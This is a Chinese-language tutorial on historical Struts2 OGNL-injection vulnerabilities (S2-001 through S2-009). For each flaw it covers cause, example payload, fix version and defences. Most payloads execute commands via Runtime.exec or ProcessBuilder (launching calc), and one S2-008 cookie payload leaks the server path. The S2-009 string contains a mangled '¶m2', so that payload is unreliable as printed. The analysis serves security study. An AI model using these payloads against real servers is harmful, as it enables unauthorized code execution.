Struts2历史高危漏洞分析系列:(三)
字数 1539 2025-08-09 15:23:02
Struts2历史高危漏洞分析系列(三)教学文档
一、S2-001漏洞分析
1. 漏洞背景
- Struts2框架使用OGNL(Object-Graph Navigation Language)表达式处理表单数据
- 在表单验证失败时,会对用户输入进行二次解析,导致OGNL表达式注入
2. 漏洞原理
- 当表单验证失败时,Struts2会将用户输入的值重新填充到表单中
- 在此过程中未对用户输入进行适当过滤,导致OGNL表达式被执行
3. 漏洞复现
// 示例Payload
%{#a=new java.lang.ProcessBuilder(new java.lang.String[]{"calc"}).start()}
4. 修复方案
- 升级到Struts 2.0.9或更高版本
- 修复方式:在
TextParseUtil.translateVariables()方法中增加了递归解析深度的限制
二、S2-003漏洞分析
1. 漏洞背景
- Struts2参数拦截器对参数名进行OGNL表达式解析
- 当参数名包含特殊字符时,可绕过安全限制
2. 漏洞原理
- 参数名中的
\u0023(#)字符被解码后形成OGNL表达式 - 由于参数名通常不受过滤,导致任意代码执行
3. 漏洞复现
// 示例Payload
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
4. 修复方案
- 升级到Struts 2.0.11.1或更高版本
- 修复方式:在
ParametersInterceptor中增加了对参数名的严格验证
三、S2-005漏洞分析
1. 漏洞背景
- S2-003修复方案被绕过
- 利用OGNL表达式中的静态方法调用特性
2. 漏洞原理
- 通过构造特殊的OGNL表达式,可以重新开启方法执行权限
- 利用
@符号调用静态方法执行任意代码
3. 漏洞复现
// 示例Payload
?(%27%5cu0023_memberAccess.allowStaticMethodAccess%27)(a)=true&(b)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003dfalse%27)(d))&(%27%5cu0023mycmd%5cu003d%5c%27calc%5c%27%27)(e)&(%27%5cu0023myret%5cu003d@java.lang.Runtime@getRuntime().exec(%5cu0023mycmd)%27)(f))
4. 修复方案
- 升级到Struts 2.2.1或更高版本
- 修复方式:在
OgnlValueStack中增加了更严格的安全控制
四、S2-007漏洞分析
1. 漏洞背景
- 参数验证失败时的消息处理存在缺陷
- 当类型转换失败时,会将用户输入作为OGNL表达式执行
2. 漏洞原理
- 当参数类型转换失败时,Struts2会生成错误消息
- 错误消息中包含用户输入,且未经过滤直接解析
3. 漏洞复现
// 示例Payload
user.address=%{#a=new java.lang.ProcessBuilder(new java.lang.String[]{"calc"}).start()}
4. 修复方案
- 升级到Struts 2.2.3或更高版本
- 修复方式:在类型转换失败时对错误消息进行转义处理
五、S2-008漏洞分析
1. 漏洞背景
- 多个入口点的综合漏洞
- 包括Cookie拦截器、调试模式等处的OGNL注入
2. 漏洞原理
- Cookie拦截器对cookie名称处理不当
- 调试模式允许直接执行OGNL表达式
3. 漏洞复现
// Cookie拦截器示例Payload
Cookie:
struts.value=%23req%3d%23context.get(%27co%27%2b%27m.opensymphony.xwork2.ActionContext.requ%27%2b%27est%27)%2c%23resp%3d%23context.get(%27com.opensymphony.xwork2.ActionContext.response%27)%2c%23resp.setCharacterEncoding(%27UTF-8%27)%2c%23resp.getWriter().print(%27web%27)%2c%23resp.getWriter().print(%27path:%27%2b%23req.getSession().getServletContext().getRealPath(%27/%27))%2c%23resp.getWriter().flush()%2c%23resp.getWriter().close()
4. 修复方案
- 升级到Struts 2.3.1.1或更高版本
- 修复方式:全面加强OGNL表达式解析的安全性
六、S2-009漏洞分析
1. 漏洞背景
- 参数拦截器的二次漏洞
- 利用参数名中的OGNL表达式注入
2. 漏洞原理
- 通过参数名中的OGNL表达式修改安全设置
- 然后在参数值中执行恶意代码
3. 漏洞复现
// 示例Payload
?param1=value1&foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3Dfalse%29%28%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%29%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27calc%27%29%29¶m2=value2
4. 修复方案
- 升级到Struts 2.3.14.1或更高版本
- 修复方式:在
ParametersInterceptor中完全禁止参数名中的表达式
七、防御措施总结
- 及时升级:始终使用Struts2最新稳定版本
- 输入过滤:对所有用户输入进行严格验证和过滤
- 最小权限:运行Web服务器的用户应具有最小必要权限
- 安全配置:禁用不必要的Struts2功能和调试模式
- WAF防护:部署Web应用防火墙拦截已知攻击模式
八、学习价值
- 框架安全设计:理解MVC框架的安全边界设计
- 表达式注入:学习OGNL表达式注入的多种变体
- 修复演进:观察同一类漏洞的修复和绕过过程
- 安全编码:了解类型安全、输入验证的重要性
- 漏洞链:认识多个小问题如何组合成严重漏洞
通过分析这些历史漏洞,可以深入理解Web框架安全机制的设计和绕过方法,对审计其他类似框架具有重要参考价值。